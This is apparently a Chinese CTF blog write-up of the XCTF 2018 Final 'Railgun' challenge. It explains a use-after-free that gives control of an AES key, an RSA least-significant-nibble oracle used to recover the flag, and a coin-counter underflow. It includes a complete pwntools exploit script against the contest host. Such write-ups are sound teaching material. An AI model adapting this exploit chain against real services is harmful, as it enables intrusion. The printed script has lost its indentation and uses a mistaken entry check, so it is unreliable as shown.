Kyr1os' Blog

May the wind guide your road

0%

XCTF 2018 Final - Railgun Writeup


上周去北京打XCTF-Final,被各位大哥打到自闭。第一天长者复读了一道攻防pwn题,我做另一个带密码学的攻防pwn题,看了下流量,回到宾馆后终于调了出来。题目质量还不错,感谢JHSN和Cyrus的帮助,以下是wp。

Railgun

You can get the binary from here

程序主要的逻辑是一个挖coin然后使用railgun发射coin来打boss的游戏。(强行睿智

程序初始化会将flag+padding用随机生成的RSA公钥加密。每一个Boss都是一个随机的AES key,用一个coin打败Boss并再使用一个coin可以得到用RSA私钥解密用户输入并用AES_ECB加密RSA结果的最后半字节。 在这个过程中用户已知的变量有n, e, pow(flag+padding, e, n)。

UAF

程序在功能6 accelerator attack中可以消耗200个coin直接击败Boss9,这里存在一个UAF。Boss9在被free掉之后依然可以和正常的Boss一样被打败然后进行AES_ECB加密。

Bypass AES_ecb

利用accelerator attack中的UAF,再利用comment功能,指定注释长度为16就可以malloc到之前free掉的Boss9,这样就可以控制一个AES key。

RSA LSB Oracle Attack

之后进入密码学时间

已知n, e;

flag_cipher = pow(flag+padding, e, n)

击杀Boss可以获得 AES_ecb(pow(input, d, n) % 16, Boss)

因为Boss9已经被控制了,所以相当于返回的是pow(input, d, n) % 16

使用RSA LSB Oracle Attack

假设攻击者已知x个最后半字节,设未知部分为a,已知部分是b,则有\(f = a * 16^{x} + b\)

\(y = 16^{-x}\ mod\ n, Y = y^{e}\ mod\ n\)

输入\(flag_cipher * Y\), 则会返回\(fy = a + b * 16^{-x}\ mod\ n\ mod\ 16\)

因为\(b * 16^{-x}\ mod\ 16\)已知,所以可以求出\(a\ mod\ 16\)

Exploit

利用UAF控制Boss9的内容,然后用RSA LSB Oracle Attack逐半字节攻击出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
import os
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES

pad = lambda x: x+(chr(16-len(x)) * (16-len(x)))

def aesecb_decrypt(enStr, key):
cipher = AES.new(key, AES.MODE_ECB)
enStr = pad(enStr)
return cipher.decrypt(enStr)

def ex_gcd(m, n):
x, y, x1, y1 = 0, 1, 1, 0
while m % n:
x, x1 = x1 - m // n * x, x
y, y1 = y1 - m // n * y, y
m, n = n, m % n
return n, x, y

def mod_inv(x, p):
g, y, k = ex_gcd(x, p)
if y < p:
y += p
return y

def pwn(p):
p.recvuntil('[+]PoW:')
sha256 = p.recvuntil('+', drop=True)
s = p.recvuntil('\n', drop=True).decode('hex')
for i in xrange(0x10000):
if hashlib.sha256(s + p16(i)).hexdigest() == sha256:
p.sendline(p16(i).encode('hex'))
break

p.recvuntil('[-]description:')
p.sendline('-')
p.recvuntil('[-]name:')
p.sendline('Kyr1os')

e = 0x10001
n1 = get_pub(p)
inv16 = mod_inv(16, n1)
flag_cipher = get_flag_cipher(p)

mining(p)
shoot(p, 1, '1'*256) # get 1 - 2 = 255 coins

p.recvuntil('[-]')
p.sendline('6') # accerate
for i in range(10): # for remote
comment(p, 18, '\x00'*18)
x = 0
Y = 1
b = 0
for round in range(200):
drop = shoot(p, 9, hex(flag_cipher * Y)[2:].upper())
half_byte = aesecb_decrypt(drop.decode('hex'), '\x00'*16)[0]
half_byte = (int(half_byte, 16)+16-((b * pow(inv16, x, n1)) % n1 % 16)) % 16
b += (half_byte * (16 ** x))
x += 1
y = pow(inv16, x, n1)
Y = pow(y, e, n1)
print hex(b)[2:].decode('hex') # flag

def mining(p):
p.recvuntil('[-]')
p.sendline('2')
p.recvuntil('mining:')
sha256 = p.recvuntil('+', drop=True)
s = p.recvuntil('\n', drop=True).decode('hex')
for i in xrange(0x10000):
if hashlib.sha256(s + p16(i)).hexdigest() == sha256:
p.sendline(p16(i).encode('hex'))
break

def get_pub(p):
p.recvuntil('[-]')
p.sendline('3')
p.recvuntil('pub:')
pub = p.recv(256)
return int(pub, 16)

def get_flag_cipher(p):
p.recvuntil('[-]')
p.sendline('4')
p.recvuntil('attack\n[+]')
flagc = p.recv(256)
return int(flagc, 16)

def shoot(p, boss_id, payload):
p.recvuntil('[-]')
p.sendline('5')
p.recvuntil('boss:')
p.sendline(str(boss_id))
p.recvuntil('send:')
p.sendline(payload)
p.recvuntil('coins(1/0):')
p.sendline('1')
p.recvuntil('pickup:')
cipher = p.recv(32)
return cipher

def comment(p, len, payload):
p.recvuntil('[-]')
p.sendline('7')
p.recvuntil('lenth:')
p.sendline(str(len))
p.recvuntil('comment:')
p.send(payload)

if __init__ == "__main__":
p = remote('192.168.17.12', 20002)
pwn(p)

Trick

  • 程序中存在一个检查不严格导致的整数下溢,当你拥有一个coin时对一个Boss连续使用两个coins可以使你的coin数下溢变成255,并且只要你两个两个的用,硬币就永远都用不完。这个trick可以极大的加速你的攻击脚本。(毕竟是个攻防题
  • 在远端利用UAF时,由于环境因素,在执行comment中的malloc时,即使大小合适,也不一定能每次都拿到Boss9的那个块(虽然在本地测试的时候几乎每次都能通)。所以建议多comment几次来提高成功率。(连续申请十次的话基本每次都能通的)